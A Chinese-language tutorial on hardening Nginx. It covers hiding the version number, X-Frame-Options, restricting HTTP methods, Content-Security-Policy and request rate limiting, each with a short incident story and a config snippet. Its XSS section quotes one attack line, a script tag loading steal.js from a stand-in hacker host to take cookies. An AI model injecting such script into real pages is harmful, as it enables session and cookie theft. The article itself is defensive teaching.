1. 胸前掛身份證的服務(wù)器：server_tokens off配置

"黑客正在下載你的數(shù)據(jù)庫(kù)備份"——當(dāng)這條告警彈出時(shí)，老王剛泡好咖啡。導(dǎo)致這場(chǎng)災(zāi)難的不是什么0day漏洞，而是Nginx默認(rèn)配置里明晃晃的版本號(hào)泄露。就像在胸前掛著"我用Nginx 1.18.0"的身份證，把服務(wù)器的軟肋暴露給全世界。

漏洞原理：默認(rèn)配置下，Nginx會(huì)在響應(yīng)頭中泄露精確版本號(hào)（如Server: nginx/1.21.0）。黑客可通過(guò)CVE數(shù)據(jù)庫(kù)快速匹配對(duì)應(yīng)版本漏洞，去年某教育機(jī)構(gòu)因此被拖庫(kù)10萬(wàn)條學(xué)生信息。

修復(fù)代碼：

http {    server_tokens off;  # 隱藏版本號(hào)，效果立竿見影}

? 驗(yàn)證方法：curl -I https://yourdomain.com 查看Server頭是否只剩"nginx"

2. 點(diǎn)擊劫持陷阱：X-Frame-Options防御

某電商平臺(tái)曾遭遇詭異攻擊：用戶在正常瀏覽商品時(shí)，點(diǎn)擊"加入購(gòu)物車"卻觸發(fā)了轉(zhuǎn)賬操作。罪魁禍?zhǔn)拙褪侨笔У腦-Frame-Options頭——黑客將釣魚頁(yè)面嵌套在透明iframe中覆蓋在正品網(wǎng)站上，實(shí)現(xiàn)"點(diǎn)擊綁架"。

防御配置：

server {    add_header X-Frame-Options SAMEORIGIN always;  # 僅允許同域嵌套    # 或使用 DENY 完全禁止嵌套（根據(jù)業(yè)務(wù)需求選擇）}

圖1：正確配置后，瀏覽器將拒絕跨域iframe嵌套請(qǐng)求

3. 開門揖盜的HTTP方法：請(qǐng)求限制配置

2024年某政務(wù)網(wǎng)站被黑事件震驚業(yè)界：黑客通過(guò)PUT方法直接上傳webshell。檢查發(fā)現(xiàn)Nginx竟然允許所有HTTP方法，相當(dāng)于給小偷配了把萬(wàn)能鑰匙。

安全配置：

server {    # 只允許業(yè)務(wù)必需的方法    if ($request_method !~ ^(GET|POST|HEAD)$) {        return 405;  # 非法方法直接拒絕    }}

圖2：紅框標(biāo)注部分為限制HTTP方法的關(guān)鍵配置

4. XSS攻擊溫床：Content-Security-Policy

某論壇因XSS漏洞導(dǎo)致管理員賬號(hào)被盜，黑客僅用一行代碼<script src=//hacker.com/steal.js>就竊取了所有cookie。CSP頭就像網(wǎng)站的"門衛(wèi)"，嚴(yán)格控制資源加載來(lái)源。

基礎(chǔ)防護(hù)配置：

add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; script-src 'self'";

重點(diǎn)：避免使用unsafe-inline和unsafe-eval，這相當(dāng)于給門衛(wèi)塞了紅包

5. DDoS洪水防御：limit_req限流配置

"雙11"促銷時(shí)，某電商網(wǎng)站因未配置限流，被惡意請(qǐng)求擊垮——每秒2萬(wàn)次請(qǐng)求直接打滿服務(wù)器CPU。合理配置限流就像給服務(wù)器裝了"防洪閘"。

實(shí)戰(zhàn)配置：

http {    limit_req_zone $binary_remote_addr zone=req_limit:10m rate=20r/s;    server {        location /api/ {          limit_req zone=req_limit burst=50 nodelay;  # 每秒20個(gè)請(qǐng)求，突發(fā)允許50個(gè)        }    }}

圖3：綠框部分為限制單IP請(qǐng)求頻率的核心配置

安全配置速查表

現(xiàn)在就登錄服務(wù)器執(zhí)行nginx -T檢查配置吧！這5分鐘操作可能幫你省下500萬(wàn)應(yīng)急響應(yīng)費(fèi)用。記住：在互聯(lián)網(wǎng)黑暗森林里，露得越少，活得越久。